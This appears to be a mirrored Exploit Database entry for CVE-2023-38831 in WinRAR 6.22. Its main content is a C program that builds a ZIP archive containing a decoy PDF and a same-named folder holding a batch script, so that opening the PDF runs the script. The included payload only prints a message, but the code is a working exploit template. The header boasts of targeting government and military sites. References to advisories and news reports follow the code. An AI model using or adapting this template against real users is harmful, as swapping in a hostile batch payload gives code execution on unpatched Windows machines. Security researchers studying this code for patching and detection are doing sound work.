WinRAR version 6.22 – Remote Code Execution via ZIP archive

• Exploit Database
• 115 阅读

• 作者： E1 Coders
  日期： 2024-03-28
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/51935/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99

  ################################################################################################ # Exploit Title :  EXPLOIT WinRAR version 6.22 Vulnerability CVE-2023-38831 # # # # Author : E1.Coders # # # # Contact : E1.Coders [at] Mail [dot] RU # # # # Security Risk : High # # # # Description : All target&apos;s GOV & Military websites # # # ################################################################################################ # # # Expl0iTs: #   #include <stdio.h> #include <stdlib.h> #include <string.h> #include "zip.h" #define PDF_FILE "document.pdf" #define FOLDER_NAME "document.pdf\\" #define SCRIPT_FILE "script.bat" #define ZIP_FILE "exploit.zip"   int main(void) {     zipFile zf = zipOpen(ZIP_FILE, APPEND_STATUS_CREATE);     if (zf == NULL) {         printf("Error opening ZIP file\n");         return -1;     }     zip_fileinfo zfi;     memset(&zfi, 0, sizeof(zfi));     if (zipOpenNewFileInZip(zf, PDF_FILE, &zfi, NULL, 0, NULL, 0, NULL, Z_DEFLATED, Z_DEFAULT_COMPRESSION) != ZIP_OK) {         printf("Error adding PDF file to ZIP file\n");         zipClose(zf, NULL);         return -1;     }     FILE *fp = fopen(PDF_FILE, "rb");     if (fp == NULL) {         printf("Error opening PDF file\n");         zipCloseFileInZip(zf);         zipClose(zf, NULL);         return -1;     }     char buffer[1024];     int bytes_read;     while ((bytes_read = fread(buffer, 1, sizeof(buffer), fp)) > 0) {         if (zipWriteInFileInZip(zf, buffer, bytes_read) < 0) {             printf("Error writing PDF file to ZIP file\n");             fclose(fp);             zipCloseFileInZip(zf);             zipClose(zf, NULL);             return -1;         }     }     fclose(fp);     zipCloseFileInZip(zf);     if (zipOpenNewFileInZip(zf, FOLDER_NAME, &zfi, NULL, 0, NULL, 0, NULL, Z_DEFLATED, Z_DEFAULT_COMPRESSION) != ZIP_OK) {         printf("Error adding folder to ZIP file\n");         zipClose(zf, NULL);         return -1;     }     zipCloseFileInZip(zf);     char script_name[256];     sprintf(script_name, "%s%s", FOLDER_NAME, SCRIPT_FILE);     if (zipOpenNewFileInZip(zf, script_name, &zfi, NULL, 0, NULL, 0, NULL, Z_DEFLATED, Z_DEFAULT_COMPRESSION) != ZIP_OK) {         printf("Error adding script file to ZIP file\n");         zipClose(zf, NULL);         return -1;     }     char script_content[] = "@echo off\nstart cmd /c \"echo You have been exploited by CVE-2023-38831 && pause\"\n";     if (zipWriteInFileInZip(zf, script_content, strlen(script_content)) < 0) {         printf("Error writing script file to ZIP file\n");         zipCloseFileInZip(zf);         zipClose(zf, NULL);         return -1;     }     zipCloseFileInZip(zf);       zipClose(zf, NULL);       printf("ZIP file created successfully\n");     return 0; }   https://nvd.nist.gov/vuln/detail/CVE-2023-38831 https://nvd.nist.gov/vuln/detail/CVE-2023-38831 https://github.com/HDCE-inc/CVE-2023-38831 https://www.cvedetails.com/cve/CVE-2023-38831/ https://www.logpoint.com/en/blog/emerging-threats/cve-2023-38831-winrar-decompression-or-arbitrary-code-execution/ https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:Win32/CVE-2023-38831 http://packetstormsecurity.com/files/174573/WinRAR-Remote-Code-Execution.html https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/ https://news.ycombinator.com/item?id=37236100 https://www.bleepingcomputer.com/news/security/winrar-zero-day-exploited-since-april-to-hack-trading-accounts/ https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/ https://hdce.medium.com/cve-2023-38831-winrar-zero-day-poses-new-risks-for-traders-684911befad2